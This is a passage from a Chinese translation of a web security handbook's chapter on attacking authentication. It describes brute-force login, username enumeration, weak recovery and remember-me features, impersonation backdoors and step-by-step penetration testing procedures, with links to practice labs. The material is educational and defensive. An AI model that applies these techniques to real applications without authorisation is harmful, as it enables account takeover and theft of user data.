（b）诊断功能能够验证收到的cookie，证实其中包含访问主应用程序所需的有效会话令牌。 （c）主应用程序可在请求中的一个隐藏字段中设置一个验证令牌。诊断功能能够确认这一点，证实用户在主应用程序中有一个会话。 （4）如果一个表单字段的属性为disabled=true，那么它就不会和表单的其他内容一起提交。如何才能改变这种情况呢？ （5）应用程序可采取什么方法确保客户端执行了输入确认？ [1] 本书中文版《IDA Pro权威指南（第2版）》已由人民邮电出版社出版，读者可登录图灵社区（ituring.com.cn）本书页面查看相关信息。——编者注 黑客攻防技术宝典：Web实战篇（第2版） 第6章 攻击验证机制 从 概念上讲，验证机制是Web应用程序所有安全机制中最简单的一种机制。通常，应从用程序必须核实用户提交的用户名和密码正确与否。如果正确，就允许用户登录，否则就禁止用户登录。 验证机制也是应用程序防御恶意攻击的中心机制。它处在防御未授权访问的最前沿，如果用户能够突破那些防御，他们通常能够控制应用程序的全部功能，自由访问其中保存的数据。缺乏安全稳定的验证机制，其他核心安全机制（如会话管理和访问控制）都无法有效实施。 设计一个安全的验证机制看似简单，实际上却是一件极其麻烦的事情。在现实世界中，Web应用程序验证机制通常是最薄弱的环节，由此攻击者能够获得未授权访问。我们曾见过无数应用程序由于验证机制存在各种缺陷而被攻破的实例。 本章将详细介绍困扰Web应用程序的大量设计和执行缺陷。这些缺陷之所以存在，主要是因为应用程序设计者和开发者无法回答一个简单的问题：攻击者针对验证机制实施攻击能够实现什么目标？在绝大多数情况下，只要认真分析一下某个应用程序，就可以发现许多潜在的漏洞，其中任何一个都足以破坏应用程序。 许多最常见的验证漏洞实际上极其简单。任何人都可以在登录表单中输入字典中的单词，试图猜测有效的密码。另外，应用程序中也隐藏着一些细微的缺陷，只有对复杂的多阶段登录机制进行仔细分析后才能发现它们并对其加以利用。本章将全面描述这些攻击，包括那些成功突破一些最安全、防御最稳健的Web应用程序的验证机制的技巧。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 6.1 验证技术 当执行验证机制时，Web应用程序开发者可以采用各种不同的技术： 基于HTML表单的验证； 多元机制，如组合型密码和物理令牌； 客户端SSL证书或智能卡； HTTP基本和摘要验证； 使用NTLM或Kerberos整合Windows的验证； 验证服务。 到目前为止，Web应用程序中最常用的验证机制是使用HTML表单获取用户名和密码，并将它们提交给应用程序。因特网上90%以上的应用程序都采用这种机制。 在更加注重安全的因特网应用程序（如电子银行）中，这种基本的机制通常扩展到几个阶段，要求用户提交其他证书，如PIN号码或从机密字中选择的字符。HTML表单仍主要用于获取相关数据。 最为注重安全的应用程序（如为进行巨额交易的个人提供服务的私人银行）通常采用使用物理令牌的多元机制。这些令牌通常产生一组一次性口令，或者基于应用程序指定的输入执行一个质询-响应功能。随着这种技术的成本日渐降低，可能会有更多应用程序采用这种机制。但是，许多这类解决方案实际上无法解决它们旨在解决的威胁，主要是钓鱼攻击和使用客户端木马的威胁。 一些Web应用程序使用客户端SSL证书或在智能卡中执行加密机制。但是，由于管理和分配这些项目的成本非常高昂，通常只有那些用户不多的安全极其重要的应用程序才会使用它们。 因特网上的应用程序很少使用基于HTTP的验证机制（基本、摘要和整合Windows的机制），企业内联网更常采用这种机制。这时，组织内部用户提供标准的网络或域证书，应用程序通过以上一种技术对其进行处理，再允许用户访问企业应用程序。 一些应用程序还采用Microsoft Passport之类的第三方验证服务，但暂时这种机制尚未得到大量使用。 大多数与验证有关的漏洞和攻击适用于上面提到的任何一种技术。由于绝大多数应用程序普遍采用基于HTML表单的验证，我们将描述每一种与其有关的特殊漏洞和攻击，以及与其他可用技术有关的主要差异和攻击方法。 黑客攻防技术宝典：Web实战篇（第2版） 6.2 验证机制设计缺陷 与Web应用程序常用的任何其他安全机制相比，验证功能中存在着更多设计方面的薄弱环节。即使在基于用户名和密码验证用户这种非常简单的标准化模型中，其中包含的设计缺陷也容易导致应用程序被非法访问。 6.2.1 密码保密性不强 许多Web应用程序没有或很少对用户密码的强度进行控制。应用程序常常使用下列形式的密码： 非常短或空白的密码； 以常用的字典词汇或名称为密码； 密码和用户名完全相同； 仍然使用默认密码。 图6-1是一个实施脆弱密码强度规则的实例。通常，终端用户很少具有安全意识。因此，没有实施严格密码标准的应用程序很可能包含大量使用脆弱密码的用户账户。攻击者很容易就可猜测出这些密码，从而对应用程序进行未授权访问。 图6-1 -个实施脆弱密码强度规则的应用程序 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 设法查明任何与密码强度有关的规则。 （1）浏览该Web站点，查找任何描述上述规则的内容。 （2）如果可以进行自我注册，用不同种类的脆弱密码注册几个账户，了解应用程序采用何种规则。 （3）如果拥有一个账户并且可以更改密码，试着把密码更改为各种脆弱密码。 注解 如果应用程序仅通过客户端控件实施密码强度规则，这本身并不是一个安全问题，因为普通用户仍然受到保护。虽然诡计多端的攻击者可为自己分配脆弱密码，但这通常并不会给应用程序造成威胁。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/217/ 6.2.2 蛮力攻击登录 登录功能的公开性往往诱使攻击者试图猜测用户名和密码，从而获得未授权访问应用程序的权力。如果应用程序允许攻击者使用不同的密码重复进行登录尝试，直到找到正确的密码，那么它就非常容易遭受攻击，因为即使是业余攻击者也可以在浏览器中手动输入一些常见的用户名和密码。 最近一些知名站点沦陷，成千上万个现实世界中的密码也随之泄漏，这些密码或者以明文形式存储，或者使用可蛮力攻击的散列存储。现实世界中的一些最常见的密码如下所示： password 网站名称 12345678 qwerty abc123 111111 monkey 12345 letmein 注解 管理员密码实际上比密码策略允许的更为脆弱。它们可能在实施密码策略之前就已设置，或者通过其他应用程序或界面设置。 在这种情况下，精明的攻击者会根据冗长的常用密码列表，使用自动技巧尝试猜测出密码。依赖今天的带宽和处理能力，通过普通PC和DSL连接，攻击者每分钟就可以发出数千个登录尝试。这样，即使最强大的密码最终也会被攻破。 我们将在第14章详细描述实施蛮力登录的各种自动技巧和工具。使用Burp Intruder对一个账户成功实施密码猜测攻击的过程如图6-2所示。我们可通过HTTP响应码、响应长度及缺乏“登录错误”消息等差异清楚区分成功的登录尝试。 图6-2 成功实施密码猜测的攻击示例 一些应用程序使用客户端控件防止密码猜测攻击。例如，某个应用程序可能会设置cookie failedlogins = 1，如果登录尝试失败，递增这个值。达到某个上限后，服务器将在提交的cookie中检测这个值，并拒绝处理登录尝试。这种客户端防御可防止仅使用浏览器实施的手动攻击，但 如第5章所述，这种防御可轻易避开。 如果登录失败计数器保存在当前会话中，这时就会出现前一个漏洞的变化形式。虽然在客户端并没有表明该漏洞存在的任何迹象，但攻击者只需要获得一个全新的会话（例如，通过保留会话cookie）即可继续实施密码猜测攻击。 最后，在某些情况下，应用程序会在失败的登录尝试达到一定次数后锁定目标账户。但是，它会通过表明（或允许攻击者推测）所提交的密码是否正确的消息，对随后的登录尝试作出响应。这意味着，即使目标账户被锁定，攻击者仍然可以完成密码猜测攻击。如果应用程序在一段时间后自动解除账户的锁定状态，则攻击者只需要等到这一时刻，然后即可使用发现的密码正常登录。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）用控制的某个账户手动提交几个错误的登录尝试，监控接收到的错误消息。 （2）如果应用程序在大约10次登录失败后还没有返回任何有关账户锁定（account lockout）的消息，再尝试正确登录。如果登录成功，应用程序可能并未采用任何账户锁定策略。 （3）如果账户被锁定，可以尝试重复使用不同的账户。如果应用程序发布任何cookie，这次可以将每个cookie仅用于一次登录尝试，并为随后的每次登录尝试获取新cookie。 （4）此外，如果账户被锁定，应查看与提交无效密码相比，提交有效密码是否会导致应用程序的行为出现任何差异。如果确实如此，则可以继续实施密码猜测攻击，即使账户被锁定。 （5）如果没有控制任何账户，尝试枚举一个有效的用户名（参阅6.2.3节）并使用它提交几次错误登录，监控有关账户锁定的错误消息。 （6）发动蛮力攻击前，首先确定应用程序响应成功与失败登录之间的行为差异，以此分清它们在自动攻击过程中表现出的区别。 （7）列出已枚举出的或常见的用户名列表和常用密码列表。根据所获得的任何有关密码强度规则的信息对上述列表加以修改，以避免进行多余测试。 （8）使用这些用户名和密码的各种排列组合，通过适当的工具或定制脚本迅速生成登录请求。监控服务器响应以确定成功的登录尝试。我们将在第14章详细说明使用自动化方法实施定制攻击的各种技巧和工具。 （9）如果一次针对几个用户名，通常最好以广度优先（breadth-first）而非深度优先（depth-first）的方式实施这种蛮力攻击。这包括循环使用一组密码（从最常用的密码开始）并轮流对每个用户名使用每一个密码。这种方法有两方面的好处：首先，可以更加迅速地确定使用常用密码的账户；其次，这样做可以降低触发任何账户锁定防御的可能性，因为在使用同一个账户进行连续登录之间存在时间延迟。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/16/ http://mdsec.net/auth/32/ http://mdsec.net/auth/46/ http://mdsec.net/auth/49/ 6.2.3 详细的失败消息 一个典型的登录表单要求用户输入两组信息（用户名和密码），而另外一些应用程序则需要更多信息（如出生日期、纪念地或PIN号码）。 如果登录尝试失败，当然可以得出结论：至少有一组信息出错。但是，如果应用程序通知是哪一组信息无效，就可以利用它显著降低登录机制的防御效能。 在最简单的情况下，如果只需要用户名和密码登录，应用程序可能会通过指出失败的原因（用户名无效或密码错误）来响应失败的登录尝试，如图6-3所示。 图6-3 详细的登录失败消息指出已猜测出有效的用户名 在这种情况下，攻击者可以发动一次自动化攻击，遍历大量常见的用户名，确定哪些有效。当然，用户名一般并非秘密（例如，登录时并不隐藏用户名）。但是，如果攻击者能够轻易确定有效的用户名，就更可能在有限的时间内、运用一定的技能、付出一定的精力攻破应用程序，并将枚举出的用户名列表作为随后各种攻击的基础，包括密码猜测、攻击用户数据或会话，或者社会工程 [1] 。 除主要的登录功能外，还可以对验证机制的其他组件进行用户名枚举。理论上，需要提交真实或潜在用户名的任何功能都可用于这一目的。例如，通常都可以对用户注册功能进行用户名枚举。如果应用程序允许新用户注册并指定他们自己的用户名，由于应用程序需要防止注册重复用户名，在这种情况下，几乎不可能阻止用户名枚举攻击。如本章后面部分所述，有时也可以对密码修改或忘记密码功能进行用户名枚举。 注解 许多验证机制以隐含或明确的方式提示用户名。根据设计常识，Web邮件账户的用户名通常为电子邮件地址。许多其他站点在应用程序中透露用户名，或者允许使用可轻易猜测出的用户名（如user1842，User1843等），并未考虑攻击者会对其加以利用的情况。 在更复杂的登录机制中，应用程序要求用户提交几组信息，或者完成几个步骤。这时，详细的失败消息或差异点可帮助攻击者轮流针对登录过程的每个阶段发动攻击，提高其获得未授权访问的可能性。 注解 这种漏洞可能会以更隐含的形式出现。即使响应有效和无效用户名的错误消息表面看来完全相同，它们之间仍然存在细微的差别，可用于枚举有效的用户名。例如，如果应用程序中的多条代码路径返回“相同的”失败消息，这些消息之间仍然可能存在细小的排版差异。有些时候，应用程序响应在屏幕上显示的内容完全相同，但其HTML源代码可能隐藏着细微的区别，如注释或布局方面的不同。如果无法轻易枚举出有效的用户名，应当仔细比较应用程序对有效和无效用户名作出的响应。 可以使用Burp Suite中的“比较”（Comparer）工具自动分析并突出显示两个应用程序响应之间的差异，如图6-4所示。这有助于迅速确定有效的用户名是否会导致应用程序的响应出现任何系统性的差异。 图6-4 使用Burp Suite确定应用程序响应的细微差别"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果已经知道一个有效的用户名（例如一个受控制的账户），使用这个用户名和一个错误的密码进行一次登录，然后使用一个完全随机的用户名进行另一次登录。 （2）记录服务器响应两次登录尝试的每一个细节，包括状态码、任何重定向、屏幕上显示的信息以及任何隐藏在HTML页面中的差异。使用拦截代理服务器保存服务器上来回流量的完整历史记录。 （3）努力找出服务器响应两次登录尝试的任何明显或细微的差异。 （4）如果无法发现任何差异，在应用程序中任何提交用户名的地方（例如自我注册、密码修改与忘记密码功能）重复上述操作。 （5）如果发现服务器响应有效和无效用户名之间的差异，收集一个常见用户名列表并使用一个定制脚本或自动工具迅速提交每个用户名，过滤出说明用户名有效的响应（请参阅第14章了解相关内容）。 （6）开始枚举操作之前，请确定应用程序是否在登录尝试失败次数达到一定数目后执行账户锁定（请参阅6.2.2节）。如果应用程序执行账户锁定，最好在设计枚举攻击时记住这一点。例如，如果应用程序只允许登录某个账户时失败3次，可能就会在使用通过自动枚举发现的每 个用户名登录时“浪费” 一次登录机会。因此，当进行枚举攻击时，不要在每次登录时提交完全不合理的密码，而是提交常见的密码，如password1或以用户名为密码。如果应用程序执行脆弱的密码强度规则，在枚举操作过程中执行的一些登录尝试就很可能会取得成功，有些情况下还可能同时查明用户名和密码。要以用户名设置密码字段，可以使用Burp Intrude冲的“破城槌”（battering ram）攻击模式，在登录请求的几个位置插入相同的有效载荷。 即使应用程序对包含有效与无效用户名登录尝试的响应完全相同，我们仍然可以根据应用程序响应登录请求的时间枚举出用户名。应用程序通常依据登录请求是否包含有效用户名，对其进行截然不同的后端处理。例如，如果登录请求中包含一个有效的用户名，应用程序可能会从后端数据库中获取用户资料，对这些资料进行各种处理（如检查账户是否到期），然后确认密码（可能使用一个资源密集型散列算法），如果密码错误返回一条常规消息。仅仅使用浏览器可能无法检测出应用程序处理两个请求之间的时间差异，但自动工具能够区分这种差异。即使这种操作会产生大量错误警报，但100个用户名约50%的有效率仍然要强于10 000个用户名仅0.5%的有效率。第15章将详细讨论如何检测并利用这种时间差异从应用程序中提取信息。 提示 除登录功能外，我们还可以从其他地方获取有效的用户名。检查在应用程序解析过程中（请参阅第4章了解相关内容）发现的所有源代码注释，确定所有明显的用户名。开发者或组织内部内其他人员的电子邮件地址都可能为有效的用户名；任何可访问的日志功能也可能透露用户名。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/53/ http://mdsec.net/auth/59/ http://mdsec.net/auth/70/ http://mdsec.net/auth/81/ http: //mdsec.net/auth/167/ 6.2.4 证书传输易受攻击 如果应用程序使用非加密的HTTP连接传输登录证书，处于网络适当位置的窃听者当然就能够拦截这些证书。根据用户的位置，窃听者可能位于： 用户的本地网络中； 用户的IT部门内； 用户的ISP内； 因特网骨干网上； 托管应用程序的ISP内； 管理应用程序的IT部门内。 注解 上述任何一个位置可能由授权用户占用，也可能由通过其他方法攻破相关基础架构的外部攻击者占用。即使某一特定网络的中间媒介可信，最好还是使用安全的传输机制传送敏感数据。 即使是通过HTTPS登录，如果应用程序处理证书的方式并不安全，证书仍有可能被泄露给未授权方。 如果以查询字符串参数、而不是在POST请求主体中传送证书，许多地方都可能记录这些证书，例如用户的浏览器历史记录中、Web服务器日志内以及主机基础架构采用的任何反向代理中。如果攻击者成功攻破这些资源，就能够获取保存在这些地方的用户证书，从而提升其访问权限。 虽然大多数Web应用程序确实使用POST请求主体提交HTML登录表单，但令人奇怪的是，应用程序常常通过重定向到一个不同的URL来处理登录请求，而以查询字符串参数的形式提交证书。我们并不清楚应用程序开发者为何采用这种方法，但以连接一个URL的302重定向执行请求，比使用另一个通过JavaScript提交的HTML表单提出POST请求要容易得多。 Web应用程序有时将用户证书保存在cookie中，通常是为了执行设计不佳的登录、密码修改、“记住我”等机制。攻击者通过攻击用户cookie即可获取这些证书。如果cookie相对安全可靠，可通过访问客户端的本地文件系统获得它们。即使证书被加密，攻击者仍然不需要用户证书就可以通过重新传送cookie实施登录。第12章和第13章将描述攻击者如何通过各种方法获取其他用户的cookie。 许多应用程序对应用程序中未经验证的区域使用HTTP，而在登录时转而使用HTTPS。如果是这样，应在向浏览器加载登录页面时转换到HTTPS，使得用户能够在输入证书前核实页面是否真实可信。但是，一些应用程序通常使用HTTP加载登录页面，而在提交证书时才转换到HTTPS。这样做是不安全的，因为用户不能核实登录页面的真实性，因此无法保证安全提交证书。那么，处在适当位置的攻击者就可以拦截并修改登录页面，更改登录表单的目标URL以使用HTTP。等到精明的用户意识到证书已使用HTTP提交时，攻击者已成功获取这些证书。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）进行一次成功登录，监控客户端与服务器之间的所有来回流量。 （2）确定在来回方向传输证书的每一种情况。可以在拦截代理服务器中设置拦截规则，标记包含特殊字符串的消息（请参阅第20章了解相关内容）。 （3）如果发现通过URL查询字符串或者以cookie的方式提交证书，或者由服务器向客户端传输证书的任何情况，了解传输的一切细节并设法弄清应用程序开发者这样做的目的。设法查明 攻击者干扰应用程序逻辑以获取其他用户证书的各种手段。 （4）如果通过非加密渠道传输任何敏感信息，这样做当然容易遭受攻击。 （5）如果没有发现证书传输不安全的情况，留意任何明显被编码或模糊处理的数据。如果这些数据中包括敏感数据，其模糊算法可能遭受逆向工程。 （6）如果使用HTTPS提交证书，但使用HTTP加载登录表单，那么应用程序就容易遭受中间人攻击，攻击者也可能使用这种攻击手段获取证书。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/88/ http://mdsec.net/auth/90/ http://mdsec.net/auth/97/ 6.2.5 密码修改功能 令人奇怪的是，许多Web应用程序并不允许用户修改其密码。但是，出于两个方面的原因，精心设计的验证机制需要这种功能。 定期强制修改密码可降低某一密码成为密码猜测攻击目标的可能性，同时降低攻击者不需要检测即可使用被攻破密码的可能性，由此降低密码被攻击的概率。 怀疑自己的密码已被攻破的用户需要立即修改密码，以降低未授权使用概率。虽然密码修改功能是一个高效验证机制的必要组成部分，但从设计来看，它往往易于遭受攻击。在主要登录功能中特意避免的漏洞通常在密码修改功能中重复出现。许多Web应用程序的密码修改功能不需要验证即可访问，并为攻击者提供某些信息或允许攻击者执行某些操作。 提供详细的错误消息，说明被请求的用户名是否有效。 允许攻击者无限制猜测“现有密码”字段。 在验证现有密码后，仅检查“新密码”与“确认新密码”字段的值是否相同，允许攻击者不需入侵即可成功查明现有密码。 典型的密码修改功能通常包含一个相对较大的逻辑判定树。应用程序需要确认用户、验证提供的现有密码、集成任何账户锁定防御、对提交的新密码进行相互比较并根据密码强度规则进行比较，以及以适当的方式向用户返回任何错误条件。为此，密码修改功能通常包含难以察觉的可用于破坏整个机制的逻辑缺陷。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定应用程序中的所有密码修改功能。即使公布的内容（published content）中没有明确的密码修改功能链接，应用程序仍然可能实施这种功能。我们已在第4章中说明了发现应用程序中隐藏内容的各种技巧。 （2）使用无效的用户名、无效的现有密码及不匹配的“新密码”和“确认新密码”值向密码修改功能提交各种请求。 （3）设法确定任何可用于用户名枚举或蛮力攻击的行为（如6.2.2节和6.2.3节所述）。 提示 如果密码修改表单只可由验证用户访问，且其中并无用户名字段，表单中仍有可能包含一个任意用户名。表单可能将用户名保存在一个可被轻易修改的隐藏字段中。如果在字段中没有发现用户名，设法使用和主登录表单中相同的参数提交另一个包含用户名的参数。这种技巧有时可成功覆盖当前用户的用户名，使攻击者能够向其他用户的证书发动蛮力攻击，即使在主登录页面不可能实施这种攻击。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/104/ http://mdsec.net/auth/117/ http://mdsec.net/auth/120/ http://mdsec.net/auth/125/ http://mdsec.net/auth/129/ http://mdsec.net/auth/135/ 6.2.6 忘记密码功能 与密码修改功能一样，重新获得忘记密码的机制常常会引入已在主要登录功能中避免的问题，如用户名枚举。 除这种缺陷外，忘记密码功能设计方面的缺点往往使它成为应用程序总体验证逻辑中最薄弱的环节。下面介绍几种常见的设计缺点。 忘记密码功能常常向用户提出一个次要质询以代替主要登录功能，如图6-5所示。与试图猜测用户密码相比，响应这种质询对攻击者来说更容易一些。母亲的娘家姓、纪念日、最喜欢的颜色等问题的答案要比可能的密码的数量少得多。而且，这些问题的答案常常隐藏在公开的信息中，意志坚定的攻击者无须花费多大精力即可找到答案。 图6-5 账户恢复功能中的次要质询 许多时候，应用程序允许用户在注册阶段设定他们自己的密码恢复质询与响应，而用户很有可能会设置极其不安全的质询，这也许是因为用户错误地认为应用程序仅向他们自己提出这些质询，例如：“我拥有一只船吗？”在这种情况下，希望获得访问权的攻击者可使用自动攻击手段遍历一组已枚举的或常见的用户名，记录所有密码恢复质询，并选择那些看似最容易猜测出的质询发动攻击。（请参阅第14章了解有关如何在自定义攻击中获取这类数据的技巧。） 与密码修改功能一样，即使应用程序开发者在主登录页面阻止攻击者向密码恢复质询的响应发动蛮力攻击，他们也往往会在忘记密码功能中忽略这种攻击的可能性。如果应用程序允许无限制地回答密码恢复质询，那么意志坚定的攻击者就很可能会攻破这个密码。 一些应用程序使用一个简单的密码“暗示”（可由用户在注册阶段配置）代替恢复质询。由于用户错误地认为只有自己才会看到这些暗示，他们往往设置非常明显的暗示，甚至是和密码完全相同的暗示。此外，拥有一组常见或已枚举出的用户名的攻击者可轻易获取大量密码暗示，然后开始实施猜测。 在用户正确响应一个质询后，应用程序即允许用户重新控制他们的账户，这种机制非常容易遭受攻击。执行这种机制的一个相对安全的方法是向用户在注册阶段提供的电子邮件地址发送一个唯一的、无法猜测的、存在时间限制的恢复URL。用户在几分钟内访问这个URL即可设置一个新密码。但是，我们常常会遇到其他一些在设计上存在缺陷的账户恢复机制。 一些应用程序在用户成功响应一个质询后即向其透露现有与遗忘的密码，使攻击者能够无限制地使用该账户，而不会被账户所有者检测出来。即使账户所有者随后修改被攻破的密码，攻击者只需重新回答相同的质询即可获得新密码。 一些应用程序在用户成功完成一个质询后，立即让其进入一个不需验证的会话。这同样使攻击者可无限制地使用该账户，而不会被账户所有者检测出来，甚至不需要知道用户的密码。 一些应用程序采用发送一个唯一恢复URL的机制，但却将这个URL发送至用户在完成质询时指定的电子邮件地址中。除能够记录攻击者所使用的电子邮件地址外，这种方法根本无法提高恢复过程的安全性。 提示 即使应用程序并未提供一个在屏幕上显示的字段，要求用户输入接收恢复URL的电子邮件地址，它仍有可能通过一个隐藏表单字段或cookie传送这个地址。攻击者因此获得双重机会：一方面，可以发现所攻破的用户的电子邮件地址；另一方面，可对这个地址进行修改，用自选的地址接收恢复URL。 一些应用程序允许用户在成功完成一个质询后直接重新设置密码，并且不向用户发送任何电子邮件通知。这意味着直到所有者碰巧再次登录时才会注意到账户被攻击者攻破；而且，如果所有者认为自己一定是忘记了密码，于是用上述方法重新设置密码， 他可能仍然无法发觉账户已被攻破。那么，只是希望偶尔访问应用程序的攻击者就可以在一段时间攻破一个用户账户，在另一段时间攻破另一个不同用户的账户，从而继续无限制地使用该应用程序。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定应用程序中的所有忘记密码功能。即使公布的内容中没有明确的忘记密码功能链接，应用程序仍然可能实施这种功能（请参阅第4章了解相关内容）。 （2）使用受控制的账户执行一次完整的密码恢复过程，了解忘记密码功能的工作机制。 （3）如果恢复机制使用质询，确定用户是否能够设定或选择他们自己的质询与响应。如果用户可设定或选择自己的质询与响应，使用一组已枚举的或常见的用户名获取一些质询，并对其进行分析，找出任何非常容易猜测出响应的质询。 （4）如果恢复机制使用密码“暗示”，采取和上个步骤相同的操作获得一组密码暗示，并对任何可轻易猜测出答案的暗示发动攻击。 （5）设法确定忘记密码机制中任何可用于用户名枚举或蛮力攻击的行为（详情请参阅上文）。 （6）如果应用程序在忘记密码请求的响应中生成一封包含恢复URL的电子邮件，获取大量这类URL，并试图确定任何可帮助预测向其他用户发布URL的模式。请使用和分析会话令牌以实现预测相同的技巧（请参阅第7章了解相关内容）。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/142/ http://mdsec.net/auth/145/ http://mdsec.net/auth/151/ 6.2.7 “记住我”功能 为方便用户，避免他们每次在一台特定的计算机上使用应用程序时需要重复输入用户名和密码，应用程序通常执行“记住我”功能。这些功能在设计上并不安全，致使用户易于遭受本地和其他计算机用户的攻击。 一些“记住我”功能通过一个简单的cookie执行，如RememberUser=pet erwiener（见图6-6）。向初始应用程序页面提交这个cookie时，应用程序信任该cookie，认为其属于通过验证的用户，并为该用户建立一个应用程序会话，从而避开登录过程。攻击者可以使用一组常见或已枚举出的用户名，不需要任何验证即可完全访问应用程序。 图6-6 一个易受攻击的“记住我”功能 一些“记住我”功能设置一个cookie，其中并不包含用户名，而是使用一个持久会话标识符，例如RememberUser=1328。向登录页面提交这个标识符时，应用程序查询与其相关的用户，并为该用户建立一个应用程序会话。和普通会话令牌一样，如果可预测或推断出其他用户的会话标识符，攻击者就可以遍历大量可能的标识符，找到与应用程序用户相关 联的标识符，不经验证即可访问他们的账户。请参阅第7章了解实施这种攻击的有关技巧。 即使cookie中保存的用于重新识别用户的信息得到适当保护（如被加密），以防止其他用户对此进行推断或猜测，但攻击者通过跨站点脚本之类的漏洞或本地访问用户的计算机依然可以轻易获得这些信息（请参阅第12章了解相关内容）。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）激活所有“记住我”功能，确定应用程序是否完全“记住”用户名和密码，还是仅记住用户名，仍然要求用户在随后的访问中输入密码。如果采用后一种设置，该功能就不大可能存在安全漏洞。 （2）仔细检查应用程序设定的所有持久性cookie，以及其他本地存储机制中的持久性数据，如IE的userData、Seilverlight的隔离存储、Flash的本地共享对象。寻找其中保存的任何明确标识出用户或明显包含可预测的用户标识符的数据。 （3）即使其中保存的数据经过严密编码或模糊处理，仔细分析这些数据，并比较“记住”几个非常类似的用户名或密码的结果，找到任何可对原始数据进行逆向工程的机会。在这里可使用将在第7章描述的用于检测会话令牌意义和模式的相同技巧。 （4）试图修改持久性cookie的内容，并设法让应用程序确信：另一名用户已经将其资料保存在你的计算机中。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/219/ http://mdsec.net/auth/224/ http://mdsec.net/auth/227/ http://mdsec.net/auth/229/ http://mdsec.net/auth/232/ http://mdsec.net/auth/236/ http://mdsec.net/auth/239/ http://mdsec.net/auth/245/ 6.2.8 用户伪装功能 一些应用程序允许特权用户伪装成其他用户，以在该用户的权限下访问数据和执行操作。例如，一些银行应用程序允许服务台操作员口头验证一名电话用户，然后将银行的应用程序会话转换到该用户的权限下，以为其提供帮助。 伪装功能一般存在各种设计缺陷。 伪装功能可以通过“隐藏”功能的形式执行，不受常规访问控制管理。例如，任何知道或猜测出URL/admin/ImpersonateUser.jsp的人都能够利用该功能伪装成任何其他用户（请参阅第8章了解相关内容）。 当判定用户是否进行伪装时，应用程序可能会信任由用户控制的数据。例如，除有效会话令牌外，用户可能还会提交一个指定其会话当前所使用的账户的cookie。攻击者可以修改这个值，不需验证即可通过其他用户的账户访问应用程序，如图6-7所示。 图6-7 一种易受攻击的用户伪装功能 如果应用程序允许管理用户被伪装，那么伪装逻辑中存在的任何缺陷都可能导致垂直权限提升漏洞。攻击者不仅可以访问其他普通用户的数据，甚至可以完全控制应用程序。 某种伪装功能能够以简单“后门”密码的形式执行，该密码可和任何用户名一起向标准登录页面提交，以作为该用户进行验证。由于许多原因，这种设计非常危险，但攻击者所获得的最大好处是：他们可在实施标准攻击（如对登录机制进行蛮力攻击）的过程中发现这个密码。如果后门密码在用户的真实密码前得到匹配，那么攻击者就可能发现后门密码功能，从而访问每一名用户的账户。同样，一次蛮力攻击可能导致两个不同的“触点”，因而揭示后门密码，如图6-8所示。 图6-8 一次密码猜测攻击出现两个“触点”，说明应用程序使用后门密码 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定应用程序中的所有伪装功能。即使公布的内容中没有明确的伪装功能链接，应用程序仍然可能实施这种功能（请参阅第4章了解相关内容）。 （2）尝试使用伪装功能直接伪装成其他用户。 （3）设法操纵任何由伪装功能处理的用户提交的数据，尝试伪装成其他用户。特别留意任何不通过正常登录页面提交用户名的情况。 （4）如果能够成功利用伪装功能，尝试伪装成任何已知的或猜测出的管理用户，以提升用户权限。 （5）实施密码猜测攻击（请参阅6.2.3节）时，查明是否有用户使用多个有效密码，或者某个特殊的密码是否与几个用户名匹配。另外，用在蛮力攻击中获得的证书以许多不同的用户登录，检查是否一切正常。特别注意任何“以X登录”的状态消息。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/272/ http://mdsec.net/auth/290/ 6.2.9 证书确认不完善 精心设计的验证机制强制要求密码满足各种要求，如最小密码长度和同时使用大小写字符。相应地，一些设计不佳的验证机制不仅没有强制执行这些最佳实践，而且对用户遵守这些要求的愿望置之不理。 例如，一些应用程序截短密码，只确认前 n 个字符；一些应用程序并不对密码进行大小写检查；一些应用程序在检查密码之前删除不常用的字符（有时以执行输入确认为借口）。最近，一些相当有名的应用程序都被确认具有此类行为，一些好奇用户的试验和错误致使人们发现了这一问题。 以上这些密码确认限制可显著减少可能的密码数量。通过实验，渗透测试员可以判定一个密码是否得到完全确认，或者某个限制是否生效。然后就可以针对登录机制的自动攻击方法进行调整，删除不必要的测试，大量减少攻破用户账户所需提交的请求的数量。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用一个现有的账户，尝试用密码的各种变化形式进行登录：删除最后一个字符、改变字符大小写、删除任何特殊排版的字符。如果其中一些尝试取得成功，继续实验过程，尝试了解完整的证书确认过程。 （2）利用得到的所有结果调整自动密码猜测攻击，删除多余的测试，提高成功的几率。"},
